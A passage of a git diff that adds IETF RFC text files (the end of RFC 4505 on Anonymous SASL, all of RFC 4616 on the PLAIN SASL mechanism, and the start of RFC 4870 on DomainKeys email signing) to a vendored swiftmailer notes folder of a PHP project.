mechanism name: ANONYMOUS + Security considerations: See RFC 4505. + Published specification (optional, recommended): RFC 4505 + Person & email address to contact for further information: + Kurt Zeilenga + Chris Newman + Intended usage: COMMON + Author/Change controller: IESG + Note: Updates existing entry for ANONYMOUS + + + + + + + +Zeilenga Standards Track [Page 5] + +RFC 4505 Anonymous SASL Mechanism June 2006 + + + The [StringPrep] profile "trace", first defined in this RFC, has been + registered: + + To: iana@iana.org + Subject: Initial Registration of Stringprep "trace" profile + + Stringprep profile: trace + Published specification: RFC 4505 + Person & email address to contact for further information: + Kurt Zeilenga + +7. Acknowledgement + + This document is a revision of RFC 2245 by Chris Newman. Portions of + the grammar defined in Section 1 were borrowed from RFC 3629 by + Francois Yergeau. + + This document is a product of the IETF SASL WG. + +8. Normative References + + [ABNF] Crocker, D. and P. Overell, "Augmented BNF for Syntax + Specifications: ABNF", RFC 4234, October 2005. + + [IMAIL] Resnick, P., "Internet Message Format", RFC 2822, April + 2001. + + [SASL] Melnikov, A., Ed. and K. Zeilenga, Ed., "Simple + Authentication and Security Layer (SASL)", RFC 4422, + June 2006. + + [StringPrep] Hoffman, P. and M. Blanchet, "Preparation of + Internationalized Strings ('stringprep')", RFC 3454, + December 2002. + + [Unicode] The Unicode Consortium, "The Unicode Standard, Version + 3.2.0" is defined by "The Unicode Standard, Version 3.0" + (Reading, MA, Addison-Wesley, 2000. ISBN 0-201-61633-5), + as amended by the "Unicode Standard Annex #27: Unicode + 3.1" (http://www.unicode.org/reports/tr27/) and by the + "Unicode Standard Annex #28: Unicode 3.2" + (http://www.unicode.org/reports/tr28/). + + [UTF-8] Yergeau, F., "UTF-8, a transformation format of ISO + 10646", RFC 3629 (also STD 63), November 2003. + + + + + + +Zeilenga Standards Track [Page 6] + +RFC 4505 Anonymous SASL Mechanism June 2006 + + +9. Informative References + + [IMAP4] Crispin, M., "INTERNET MESSAGE ACCESS PROTOCOL - VERSION + 4rev1", RFC 3501, March 2003. + + [IANA-SASL] IANA, "SIMPLE AUTHENTICATION AND SECURITY LAYER (SASL) + MECHANISMS", . + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Zeilenga Standards Track [Page 7] + +RFC 4505 Anonymous SASL Mechanism June 2006 + + +Appendix A. Changes since RFC 2245 + + This appendix is non-normative. + + RFC 2245 allows the client to include optional trace information in + the form of a human readable string. RFC 2245 restricted this string + to US-ASCII. As the Internet is international, this document uses a + string restricted to UTF-8 encoded Unicode characters. A + "stringprep" profile is defined to precisely define which Unicode + characters are allowed in this string. While the string remains + restricted to 255 characters, the encoded length of each character + may now range from 1 to 4 octets. + + Additionally, a number of editorial changes were made. + +Editor's Address + + Kurt D. Zeilenga + OpenLDAP Foundation + + EMail: Kurt@OpenLDAP.org + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Zeilenga Standards Track [Page 8] + +RFC 4505 Anonymous SASL Mechanism June 2006 + + +Full Copyright Statement + + Copyright (C) The Internet Society (2006). + + This document is subject to the rights, licenses and restrictions + contained in BCP 78, and except as set forth therein, the authors + retain all their rights. + + This document and the information contained herein are provided on an + "AS IS" basis and THE CONTRIBUTOR, THE ORGANIZATION HE/SHE REPRESENTS + OR IS SPONSORED BY (IF ANY), THE INTERNET SOCIETY AND THE INTERNET + ENGINEERING TASK FORCE DISCLAIM ALL WARRANTIES, EXPRESS OR IMPLIED, + INCLUDING BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE + INFORMATION HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED + WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. + +Intellectual Property + + The IETF takes no position regarding the validity or scope of any + Intellectual Property Rights or other rights that might be claimed to + pertain to the implementation or use of the technology described in + this document or the extent to which any license under such rights + might or might not be available; nor does it represent that it has + made any independent effort to identify any such rights. Information + on the procedures with respect to rights in RFC documents can be + found in BCP 78 and BCP 79. + + Copies of IPR disclosures made to the IETF Secretariat and any + assurances of licenses to be made available, or the result of an + attempt made to obtain a general license or permission for the use of + such proprietary rights by implementers or users of this + specification can be obtained from the IETF on-line IPR repository at + http://www.ietf.org/ipr. + + The IETF invites any interested party to bring to its attention any + copyrights, patents or patent applications, or other proprietary + rights that may cover technology that may be required to implement + this standard. Please address the information to the IETF at + ietf-ipr@ietf.org. + +Acknowledgement + + Funding for the RFC Editor function is provided by the IETF + Administrative Support Activity (IASA). + + + + + + + +Zeilenga Standards Track [Page 9] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc4616.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc4616.txt new file mode 100644 index 00000000..991189d5 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc4616.txt @@ -0,0 +1,619 @@ + + + + + + +Network Working Group K. Zeilenga, Ed. +Request for Comments: 4616 OpenLDAP Foundation +Updates: 2595 August 2006 +Category: Standards Track + + + The PLAIN Simple Authentication and Security Layer (SASL) Mechanism + +Status of This Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Copyright Notice + + Copyright (C) The Internet Society (2006). + +Abstract + + This document defines a simple clear-text user/password Simple + Authentication and Security Layer (SASL) mechanism called the PLAIN + mechanism. The PLAIN mechanism is intended to be used, in + combination with data confidentiality services provided by a lower + layer, in protocols that lack a simple password authentication + command. + + + + + + + + + + + + + + + + + + + + + + + +Zeilenga Standards Track [Page 1] + +RFC 4616 The PLAIN SASL Mechanism August 2006 + + +1. Introduction + + Clear-text, multiple-use passwords are simple, interoperate with + almost all existing operating system authentication databases, and + are useful for a smooth transition to a more secure password-based + authentication mechanism. The drawback is that they are unacceptable + for use over network connections where data confidentiality is not + ensured. + + This document defines the PLAIN Simple Authentication and Security + Layer ([SASL]) mechanism for use in protocols with no clear-text + login command (e.g., [ACAP] or [SMTP-AUTH]). This document updates + RFC 2595, replacing Section 6. Changes since RFC 2595 are detailed + in Appendix A. + + The name associated with this mechanism is "PLAIN". + + The PLAIN SASL mechanism does not provide a security layer. + + The PLAIN mechanism should not be used without adequate data security + protection as this mechanism affords no integrity or confidentiality + protections itself. The mechanism is intended to be used with data + security protections provided by application-layer protocol, + generally through its use of Transport Layer Security ([TLS]) + services. + + By default, implementations SHOULD advertise and make use of the + PLAIN mechanism only when adequate data security services are in + place. Specifications for IETF protocols that indicate that this + mechanism is an applicable authentication mechanism MUST mandate that + implementations support an strong data security service, such as TLS. + + The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", + "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this + document are to be interpreted as described in [Keywords]. + +2. PLAIN SASL Mechanism + + The mechanism consists of a single message, a string of [UTF-8] + encoded [Unicode] characters, from the client to the server. The + client presents the authorization identity (identity to act as), + followed by a NUL (U+0000) character, followed by the authentication + identity (identity whose password will be used), followed by a NUL + (U+0000) character, followed by the clear-text password. As with + other SASL mechanisms, the client does not provide an authorization + identity when it wishes the server to derive an identity from the + credentials and use that as the authorization identity. + + + + +Zeilenga Standards Track [Page 2] + +RFC 4616 The PLAIN SASL Mechanism August 2006 + + + The formal grammar for the client message using Augmented BNF [ABNF] + follows. + + message = [authzid] UTF8NUL authcid UTF8NUL passwd + authcid = 1*SAFE ; MUST accept up to 255 octets + authzid = 1*SAFE ; MUST accept up to 255 octets + passwd = 1*SAFE ; MUST accept up to 255 octets + UTF8NUL = %x00 ; UTF-8 encoded NUL character + + SAFE = UTF1 / UTF2 / UTF3 / UTF4 + ;; any UTF-8 encoded Unicode character except NUL + + UTF1 = %x01-7F ;; except NUL + UTF2 = %xC2-DF UTF0 + UTF3 = %xE0 %xA0-BF UTF0 / %xE1-EC 2(UTF0) / + %xED %x80-9F UTF0 / %xEE-EF 2(UTF0) + UTF4 = %xF0 %x90-BF 2(UTF0) / %xF1-F3 3(UTF0) / + %xF4 %x80-8F 2(UTF0) + UTF0 = %x80-BF + + The authorization identity (authzid), authentication identity + (authcid), password (passwd), and NUL character deliminators SHALL be + transferred as [UTF-8] encoded strings of [Unicode] characters. As + the NUL (U+0000) character is used as a deliminator, the NUL (U+0000) + character MUST NOT appear in authzid, authcid, or passwd productions. + + The form of the authzid production is specific to the application- + level protocol's SASL profile [SASL]. The authcid and passwd + productions are form-free. Use of non-visible characters or + characters that a user may be unable to enter on some keyboards is + discouraged. + + Servers MUST be capable of accepting authzid, authcid, and passwd + productions up to and including 255 octets. It is noted that the + UTF-8 encoding of a Unicode character may be as long as 4 octets. + + Upon receipt of the message, the server will verify the presented (in + the message) authentication identity (authcid) and password (passwd) + with the system authentication database, and it will verify that the + authentication credentials permit the client to act as the (presented + or derived) authorization identity (authzid). If both steps succeed, + the user is authenticated. + + The presented authentication identity and password strings, as well + as the database authentication identity and password strings, are to + be prepared before being used in the verification process. The + [SASLPrep] profile of the [StringPrep] algorithm is the RECOMMENDED + preparation algorithm. The SASLprep preparation algorithm is + + + +Zeilenga Standards Track [Page 3] + +RFC 4616 The PLAIN SASL Mechanism August 2006 + + + recommended to improve the likelihood that comparisons behave in an + expected manner. The SASLprep preparation algorithm is not mandatory + so as to allow the server to employ other preparation algorithms + (including none) when appropriate. For instance, use of a different + preparation algorithm may be necessary for the server to interoperate + with an external system. + + When preparing the presented strings using [SASLPrep], the presented + strings are to be treated as "query" strings (Section 7 of + [StringPrep]) and hence unassigned code points are allowed to appear + in their prepared output. When preparing the database strings using + [SASLPrep], the database strings are to be treated as "stored" + strings (Section 7 of [StringPrep]) and hence unassigned code points + are prohibited from appearing in their prepared output. + + Regardless of the preparation algorithm used, if the output of a + non-invertible function (e.g., hash) of the expected string is + stored, the string MUST be prepared before input to that function. + + Regardless of the preparation algorithm used, if preparation fails or + results in an empty string, verification SHALL fail. + + When no authorization identity is provided, the server derives an + authorization identity from the prepared representation of the + provided authentication identity string. This ensures that the + derivation of different representations of the authentication + identity produces the same authorization identity. + + The server MAY use the credentials to initialize any new + authentication database, such as one suitable for [CRAM-MD5] or + [DIGEST-MD5]. + +3. Pseudo-Code + + This section provides pseudo-code illustrating the verification + process (using hashed passwords and the SASLprep preparation + function) discussed above. This section is not definitive. + + boolean Verify(string authzid, string authcid, string passwd) { + string pAuthcid = SASLprep(authcid, true); # prepare authcid + string pPasswd = SASLprep(passwd, true); # prepare passwd + if (pAuthcid == NULL || pPasswd == NULL) { + return false; # preparation failed + } + if (pAuthcid == "" || pPasswd == "") { + return false; # empty prepared string + } + + + + +Zeilenga Standards Track [Page 4] + +RFC 4616 The PLAIN SASL Mechanism August 2006 + + + storedHash = FetchPasswordHash(pAuthcid); + if (storedHash == NULL || storedHash == "") { + return false; # error or unknown authcid + } + + if (!Compare(storedHash, Hash(pPasswd))) { + return false; # incorrect password + } + + if (authzid == NULL ) { + authzid = DeriveAuthzid(pAuthcid); + if (authzid == NULL || authzid == "") { + return false; # could not derive authzid + } + } + + if (!Authorize(pAuthcid, authzid)) { + return false; # not authorized + } + + return true; + } + + The second parameter of the SASLprep function, when true, indicates + that unassigned code points are allowed in the input. When the + SASLprep function is called to prepare the password prior to + computing the stored hash, the second parameter would be false. + + The second parameter provided to the Authorize function is not + prepared by this code. The application-level SASL profile should be + consulted to determine what, if any, preparation is necessary. + + Note that the DeriveAuthzid and Authorize functions (whether + implemented as one function or two, whether designed in a manner in + which these functions or whether the mechanism implementation can be + reused elsewhere) require knowledge and understanding of mechanism + and the application-level protocol specification and/or + implementation details to implement. + + Note that the Authorize function outcome is clearly dependent on + details of the local authorization model and policy. Both functions + may be dependent on other factors as well. + + + + + + + + + +Zeilenga Standards Track [Page 5] + +RFC 4616 The PLAIN SASL Mechanism August 2006 + + +4. Examples + + This section provides examples of PLAIN authentication exchanges. + The examples are intended to help the readers understand the above + text. The examples are not definitive. + + "C:" and "S:" indicate lines sent by the client and server, + respectively. "" represents a single NUL (U+0000) character. + The Application Configuration Access Protocol ([ACAP]) is used in the + examples. + + The first example shows how the PLAIN mechanism might be used for + user authentication. + + S: * ACAP (SASL "CRAM-MD5") (STARTTLS) + C: a001 STARTTLS + S: a001 OK "Begin TLS negotiation now" + + S: * ACAP (SASL "CRAM-MD5" "PLAIN") + C: a002 AUTHENTICATE "PLAIN" + S: + "" + C: {21} + C: timtanstaaftanstaaf + S: a002 OK "Authenticated" + + The second example shows how the PLAIN mechanism might be used to + attempt to assume the identity of another user. In this example, the + server rejects the request. Also, this example makes use of the + protocol optional initial response capability to eliminate a round- + trip. + + S: * ACAP (SASL "CRAM-MD5") (STARTTLS) + C: a001 STARTTLS + S: a001 OK "Begin TLS negotiation now" + + S: * ACAP (SASL "CRAM-MD5" "PLAIN") + C: a002 AUTHENTICATE "PLAIN" {20+} + C: UrselKurtxipj3plmq + S: a002 NO "Not authorized to requested authorization identity" + +5. Security Considerations + + As the PLAIN mechanism itself provided no integrity or + confidentiality protections, it should not be used without adequate + external data security protection, such as TLS services provided by + many application-layer protocols. By default, implementations SHOULD + NOT advertise and SHOULD NOT make use of the PLAIN mechanism unless + adequate data security services are in place. + + + +Zeilenga Standards Track [Page 6] + +RFC 4616 The PLAIN SASL Mechanism August 2006 + + + When the PLAIN mechanism is used, the server gains the ability to + impersonate the user to all services with the same password + regardless of any encryption provided by TLS or other confidentiality + protection mechanisms. Whereas many other authentication mechanisms + have similar weaknesses, stronger SASL mechanisms address this issue. + Clients are encouraged to have an operational mode where all + mechanisms that are likely to reveal the user's password to the + server are disabled. + + General [SASL] security considerations apply to this mechanism. + + Unicode, [UTF-8], and [StringPrep] security considerations also + apply. + +6. IANA Considerations + + The SASL Mechanism registry [IANA-SASL] entry for the PLAIN mechanism + has been updated by the IANA to reflect that this document now + provides its technical specification. + + To: iana@iana.org + Subject: Updated Registration of SASL mechanism PLAIN + + SASL mechanism name: PLAIN + Security considerations: See RFC 4616. + Published specification (optional, recommended): RFC 4616 + Person & email address to contact for further information: + Kurt Zeilenga + IETF SASL WG + Intended usage: COMMON + Author/Change controller: IESG + Note: Updates existing entry for PLAIN + +7. Acknowledgements + + This document is a revision of RFC 2595 by Chris Newman. Portions of + the grammar defined in Section 2 were borrowed from [UTF-8] by + Francois Yergeau. + + This document is a product of the IETF Simple Authentication and + Security Layer (SASL) Working Group. + + + + + + + + + + +Zeilenga Standards Track [Page 7] + +RFC 4616 The PLAIN SASL Mechanism August 2006 + + +8. Normative References + + [ABNF] Crocker, D., Ed. and P. Overell, "Augmented BNF for + Syntax Specifications: ABNF", RFC 4234, October 2005. + + [Keywords] Bradner, S., "Key words for use in RFCs to Indicate + Requirement Levels", BCP 14, RFC 2119, March 1997. + + [SASL] Melnikov, A., Ed., and K. Zeilenga, Ed., "Simple + Authentication and Security Layer (SASL)", RFC 4422, + June 2006. + + [SASLPrep] Zeilenga, K., "SASLprep: Stringprep Profile for User + Names and Passwords", RFC 4013, February 2005. + + [StringPrep] Hoffman, P. and M. Blanchet, "Preparation of + Internationalized Strings ("stringprep")", RFC 3454, + December 2002. + + [Unicode] The Unicode Consortium, "The Unicode Standard, Version + 3.2.0" is defined by "The Unicode Standard, Version + 3.0" (Reading, MA, Addison-Wesley, 2000. ISBN 0-201- + 61633-5), as amended by the "Unicode Standard Annex + #27: Unicode 3.1" + (http://www.unicode.org/reports/tr27/) and by the + "Unicode Standard Annex #28: Unicode 3.2" + (http://www.unicode.org/reports/tr28/). + + [UTF-8] Yergeau, F., "UTF-8, a transformation format of ISO + 10646", STD 63, RFC 3629, November 2003. + + [TLS] Dierks, T. and E. Rescorla, "The Transport Layer + Security (TLS) Protocol Version 1.1", RFC 4346, April + 2006. + +9. Informative References + + [ACAP] Newman, C. and J. Myers, "ACAP -- Application + Configuration Access Protocol", RFC 2244, November + 1997. + + [CRAM-MD5] Nerenberg, L., Ed., "The CRAM-MD5 SASL Mechanism", Work + in Progress, June 2006. + + [DIGEST-MD5] Melnikov, A., Ed., "Using Digest Authentication as a + SASL Mechanism", Work in Progress, June 2006. + + + + + +Zeilenga Standards Track [Page 8] + +RFC 4616 The PLAIN SASL Mechanism August 2006 + + + [IANA-SASL] IANA, "SIMPLE AUTHENTICATION AND SECURITY LAYER (SASL) + MECHANISMS", + . + + [SMTP-AUTH] Myers, J., "SMTP Service Extension for Authentication", + RFC 2554, March 1999. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Zeilenga Standards Track [Page 9] + +RFC 4616 The PLAIN SASL Mechanism August 2006 + + +Appendix A. Changes since RFC 2595 + + This appendix is non-normative. + + This document replaces Section 6 of RFC 2595. + + The specification details how the server is to compare client- + provided character strings with stored character strings. + + The ABNF grammar was updated. In particular, the grammar now allows + LINE FEED (U+000A) and CARRIAGE RETURN (U+000D) characters in the + authzid, authcid, passwd productions. However, whether these control + characters may be used depends on the string preparation rules + applicable to the production. For passwd and authcid productions, + control characters are prohibited. For authzid, one must consult the + application-level SASL profile. This change allows PLAIN to carry + all possible authorization identity strings allowed in SASL. + + Pseudo-code was added. + + The example section was expanded to illustrate more features of the + PLAIN mechanism. + +Editor's Address + + Kurt D. Zeilenga + OpenLDAP Foundation + + EMail: Kurt@OpenLDAP.org + + + + + + + + + + + + + + + + + + + + + + +Zeilenga Standards Track [Page 10] + +RFC 4616 The PLAIN SASL Mechanism August 2006 + + +Full Copyright Statement + + Copyright (C) The Internet Society (2006). + + This document is subject to the rights, licenses and restrictions + contained in BCP 78, and except as set forth therein, the authors + retain all their rights. + + This document and the information contained herein are provided on an + "AS IS" basis and THE CONTRIBUTOR, THE ORGANIZATION HE/SHE REPRESENTS + OR IS SPONSORED BY (IF ANY), THE INTERNET SOCIETY AND THE INTERNET + ENGINEERING TASK FORCE DISCLAIM ALL WARRANTIES, EXPRESS OR IMPLIED, + INCLUDING BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE + INFORMATION HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED + WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. + +Intellectual Property + + The IETF takes no position regarding the validity or scope of any + Intellectual Property Rights or other rights that might be claimed to + pertain to the implementation or use of the technology described in + this document or the extent to which any license under such rights + might or might not be available; nor does it represent that it has + made any independent effort to identify any such rights. Information + on the procedures with respect to rights in RFC documents can be + found in BCP 78 and BCP 79. + + Copies of IPR disclosures made to the IETF Secretariat and any + assurances of licenses to be made available, or the result of an + attempt made to obtain a general license or permission for the use of + such proprietary rights by implementers or users of this + specification can be obtained from the IETF on-line IPR repository at + http://www.ietf.org/ipr. + + The IETF invites any interested party to bring to its attention any + copyrights, patents or patent applications, or other proprietary + rights that may cover technology that may be required to implement + this standard. Please address the information to the IETF at + ietf-ipr@ietf.org. + +Acknowledgement + + Funding for the RFC Editor function is provided by the IETF + Administrative Support Activity (IASA). + + + + + + + +Zeilenga Standards Track [Page 11] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc4870.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc4870.txt new file mode 100644 index 00000000..55ba5e2e --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc4870.txt @@ -0,0 +1,2298 @@ + + + + + +Network Working Group M. Delany +Request for Comments: 4870 Yahoo! Inc +Obsoleted By: 4871 May 2007 +Category: Historic + + + Domain-Based Email Authentication Using Public Keys + Advertised in the DNS (DomainKeys) + +Status of This Memo + + This memo defines a Historic Document for the Internet community. It + does not specify an Internet standard of any kind. Distribution of + this memo is unlimited. + +Copyright Notice + + Copyright (C) The IETF Trust (2007). + +Abstract + + "DomainKeys" creates a domain-level authentication framework for + email by using public key technology and the DNS to prove the + provenance and contents of an email. + + This document defines a framework for digitally signing email on a + per-domain basis. The ultimate goal of this framework is to + unequivocally prove and protect identity while retaining the + semantics of Internet email as it is known today. + + Proof and protection of email identity may assist in the global + control of "spam" and "phishing". + + + + + + + + + + + + + + + + + + + +Delany Historic [Page 1] + +RFC 4870 DomainKeys May 2007 + + +Table of Contents + + 1. Introduction ....................................................3 + 1.1. Lack of Authentication Is Damaging Internet Email ..........3 + 1.2. Digitally Signing Email Creates Credible Domain + Authentication .............................................4 + 1.3. Public Keys in the DNS .....................................4 + 1.4. Initial Deployment Is Likely at the Border MTA .............5 + 1.5. Conveying Verification Results to MUAs .....................5 + 1.6. Technical Minutiae Are Not Completely Covered ..............5 + 1.7. Motivation .................................................6 + 1.8. Benefits of DomainKeys .....................................6 + 1.9. Definitions ................................................7 + 1.10. Requirements Notation .....................................8 + 2. DomainKeys Overview .............................................8 + 3. DomainKeys Detailed View ........................................8 + 3.1. Determining the Sending Address of an Email ................9 + 3.2. Retrieving the Public Key Given the Sending Domain ........10 + 3.2.1. Introducing "selectors" ............................10 + 3.2.2. Public Key Signing and Verification Algorithm ......11 + 3.2.3. Public key Representation in the DNS ...............13 + 3.2.4. Key Sizes ..........................................14 + 3.3. Storing the Signature in the Email Header .................15 + 3.4. Preparation of Email for Transit and Signing ..............17 + 3.4.1. Preparation for Transit ............................18 + 3.4.2. Canonicalization for Signing .......................18 + 3.4.2.1. The "simple" Canonicalization Algorithm ...19 + 3.4.2.2. The "nofws" Canonicalization Algorithm ....19 + 3.5. The Signing Process .......................................20 + 3.5.1. Identifying the Sending Domain .....................20 + 3.5.2. Determining Whether an Email Should Be Signed ......21 + 3.5.3. Selecting a Private Key and Corresponding + Selector Information ...............................21 + 3.5.4. Calculating the Signature Value ....................21 + 3.5.5. Prepending the "DomainKey-Signature:" Header .......21 + 3.6. Policy Statement of Sending Domain ........................22 + 3.7. The Verification Process ..................................23 + 3.7.1. Presumption that Headers Are Not Reordered .........24 + 3.7.2. Verification Should Render a Binary Result .........24 + 3.7.3. Selecting the Most Appropriate + "DomainKey-Signature:" Header ......................24 + 3.7.4. Retrieve the Public Key Based on the + Signature Information ..............................26 + 3.7.5. Verify the Signature ...............................27 + 3.7.6. Retrieving Sending Domain Policy ...................27 + 3.7.7. Applying Local Policy ..............................27 + 3.8. Conveying Verification Results to MUAs ....................27 + + + + +Delany Historic [Page 2] + +RFC 4870 DomainKeys May 2007 + + + 4. Example of Use .................................................29 + 4.1. The User Composes an Email ................................29 + 4.2. The Email Is Signed .......................................29 + 4.3. The Email Signature Is Verified ...........................30 + 5. Association with a Certificate Authority .......................31 + 5.1. The "DomainKey-X509:" Header ..............................31 + 6. Topics for Discussion ..........................................32 + 6.1. The Benefits of Selectors .................................32 + 6.2. Canonicalization of Email .................................33 + 6.3. Mailing Lists .............................................33 + 6.4. Roving Users ..............................................33 + 7. Security Considerations ........................................34 + 7.1. DNS .......................................................34 + 7.1.1. The DNS Is Not Currently Secure ....................34 + 7.1.2. DomainKeys Creates Additional DNS Load .............35 + 7.2. Key Management ............................................35 + 7.3. Implementation Risks ......................................35 + 7.4. Privacy Assumptions with Forwarding Addresses .............35 + 7.5. Cryptographic Processing Is Computationally Intensive .....36 + 8. The Trial ......................................................36 + 8.1. Goals .....................................................36 + 8.2. Results of Trial ..........................................37 + 9. Note to Implementors Regarding TXT Records .....................37 + 10. References ....................................................37 + 10.1. Normative References .....................................37 + 10.2. Informative References ...................................38 + Appendix A - Syntax Rules for the Tag=Value Format .............39 + Acknowledgments ................................................40 + +1. Introduction + + This document proposes an authentication framework for email that + stores public keys in the DNS and digitally signs email on a domain + basis. Separate documents discuss how this framework can be extended + to validate the delivery path of email as well as facilitate per-user + authentication. + + The DomainKeys specification was a primary source from which the + DomainKeys Identified Mail [DKIM] specification has been derived. + The purpose in submitting this document is as an historical reference + for deployed implementations written prior to the DKIM specification. + +1.1. Lack of Authentication Is Damaging Internet Email + + Authentication of email is not currently widespread. Not only is it + difficult to prove your own identity, it is impossible to prevent + others from abusing your identity. + + + + +Delany Historic [Page 3] + +RFC 4870 DomainKeys May 2007 + + + While most email exchanges do not intrinsically need authentication + beyond context, it is the rampant abuse of identity by "spammers", + "phishers", and their criminal ilk that makes proof necessary. In + other words, authentication is as much about protection as proof. + + Importantly, the inability to authenticate email effectively + delegates much of the control of the disposition of inbound email to + the sender, since senders can trivially assume any email address. + Creating email authentication is the first step to returning + dispositional control of email to the recipient. + + For the purposes of this document, authentication is seen from a user + perspective, and is intended to answer the question "who sent this + email?" where "who" is the email address the recipient sees and "this + email" is the content that the recipient sees. + +1.2. Digitally Signing Email Creates Credible Domain Authentication + + DomainKeys combines public key cryptography and the DNS to provide + credible domain-level authentication for email. + + When an email claims to originate from a certain domain, DomainKeys + provides a mechanism by which the recipient system can credibly + determine that the email did in fact originate from a person or + system authorized to send email for that domain. + + The authentication provided by DomainKeys works in a number of + scenarios in which other authentication systems fail or create + complex operational requirements. These include the following: + + o forwarded email + + o distributed sending systems + + o authorized third-party sending + + This base definition of DomainKeys is intended to primarily enable + domain-level authenticity. Whether a given message is really sent by + the purported user within the domain is outside the scope of the base + definition. Having said that, this specification includes the + possibility that some domains may wish to delegate fine-grained + authentication to individual users. + +1.3. Public Keys in the DNS + + DomainKeys differs from traditional hierarchical public key systems + in that it leverages the DNS for public key management, placing + complete and direct control of key generation and management with the + + + +Delany Historic [Page 4] + +RFC 4870 DomainKeys May 2007 + + + owner of the domain. That is, if you have control over the DNS for a + given domain, you have control over your DomainKeys for that domain. + + The DNS is proposed as the initial mechanism for publishing public + keys. DomainKeys is specifically designed to be extensible to other + key-fetching services as they become available. + +1.4. Initial Deployment Is Likely at the Border MTA + + For practical reasons, it is expected that initial implementations of + DomainKeys will be deployed on Mail Transfer Agents (MTAs) that + accept or relay email across administrative or organizational + boundaries. There are numerous advantages to deployment at the + border MTA, including: + + o a reduction in the number of MTAs that have to be changed to + support an implementation of DomainKeys + + o a reduction in the number of MTAs involved in transmitting the + email between a signing system and a verifying system, thus + reducing the number of places that can make accidental changes + to the contents + + o removing the need to implement DomainKeys within an internal + email network. + + However, there is no necessity to deploy DomainKeys at the border as + signing and verifying can effectively occur anywhere from the border + MTA right back to the Mail User Agent (MUA). In particular, the best + place to sign an email for many domains is likely to be at the point + of SUBMISSION where the sender is often authenticated through SMTP + AUTH or other identifying mechanisms. + +1.5. Conveying Verification Results to MUAs + + It follows that testing the authenticity of an email results in some + action based on the results of the test. Oftentimes, the action is + to notify the MUA in some way -- typically via a header line. + + The "Domainkey-Status:" header is defined in this specification for + recording authentication results in the email. + +1.6. Technical Minutiae Are Not Completely Covered + + The intent of this specification is to communicate the fundamental + characteristics of DomainKeys for an implementor. However, some + aspects are derived from the functionality of the openssl command + [OPENSSL] and, rather than duplicate that documentation, implementors + + + +Delany Historic [Page 5] + +RFC 4870 DomainKeys May 2007 + + + are expected to understand the mechanics of the openssl command, + sufficient to complete the implementation. + +1.7. Motivation + + The motivation for DomainKeys is to define a simple, cheap, and + "sufficiently effective" mechanism by which domain owners can control + who has authority to send email using their domain. To this end, the + designers of DomainKeys set out to build a framework that: + + o is transparent and compatible with the existing email + infrastructure + + o requires no new infrastructure + + o can be implemented independently of clients in order to reduce + deployment time + + o does not require the use of a central certificate authority + that might impose fees for certificates or introduce delays to + deployment + + o can be deployed incrementally + + While we believe that DomainKeys meets these criteria, it is by no + means a perfect solution. The current Internet imposes considerable + compromises on any similar scheme, and readers should be careful not + to misinterpret the information provided in this document to imply + that DomainKeys makes stronger credibility statements than it is able + to do. + +1.8. Benefits of DomainKeys + + As the reader will discover, DomainKeys is solely an authentication + system. It is not a magic bullet for spam, nor is it an + authorization system, a reputation system, a certification system, or + a trust system. + + However, a strong authentication system such as DomainKeys creates an + unimpeachable framework within which comprehensive authorization + systems, reputations systems, and their ilk can be developed. + + + + + + + + + + +Delany Historic [Page 6] + +RFC 4870 DomainKeys May 2007 + + +1.9. Definitions + + With reference to the following sample email: + + Line Data + Number Bytes Content + ---- --- -------------------------------------------- + 01 46 From: "Joe SixPack" + 02 40 To: "Suzie Q" + 03 25 Subject: Is dinner ready? + 04 43 Date: Fri, 11 Jul 2003 21:00:37 -0700 (PDT) + 05 40 Comment: This comment has a continuation + 06 51 because this line begins with folding white space + 07 60 Message-ID: <20030712040037.46341@football.example.com> + 08 00 + 09 03 Hi. + 10 00 + 11 37 We lost the game. Are you hungry yet? + 12 00 + 13 04 Joe. + 14 00 + 15 00 + + Line 01 is the first line of the email and the first line of the + headers. + + Lines 05 and 06 constitute the "Comment:" header. + + Line 06 is a continuation header line. + + Line 07 is the last line of the headers. + + Line 08 is the empty line that separates the header from the body. + + Line 09 is the first line of the body. + + Lines 10, 12, 14, and 15 are empty lines. + + Line 13 is the last non-empty line of the email. + + Line 15 is the last line of the body and the last line of the email. + + Lines 01 to 15 constitute the complete email. + + Line 01 is earlier than line 02, and line 02 is later than line 01. + + + + + + +Delany Historic [Page 7] + +RFC 4870 DomainKeys May 2007 + + +1.10. Requirements Notation + + This document occasionally uses terms that appear in capital letters. + When the terms "MUST", "SHOULD", "RECOMMENDED", "MUST NOT", "SHOULD + NOT", and "MAY" appear capitalized, they are being used to indicate + particular requirements of this specification. A discussion of the + meanings of these terms appears in [RFC2119]. + +2. DomainKeys Overview + + Under DomainKeys, a domain owner generates one or more private/public + key pairs that will be used to sign messages originating from that + domain. The domain owner places the public key in his domain + namespace (i.e., in a DNS record associated with that domain), and + makes the private key available to the outbound email system. When + an email is submitted by an authorized user of that domain, the email + system uses the private key to digitally sign the email associated + with the sending domain. The signature is added as a header to the + email, and the message is transferred to its recipients in the usual + way. + + When a message is received with a DomainKey signature header, the + receiving system can verify the signature as follows: + + 1. Extract the signature and claimed sending domain from the + email. + + 2. Fetch the public key from the claimed sending domain namespace. + + 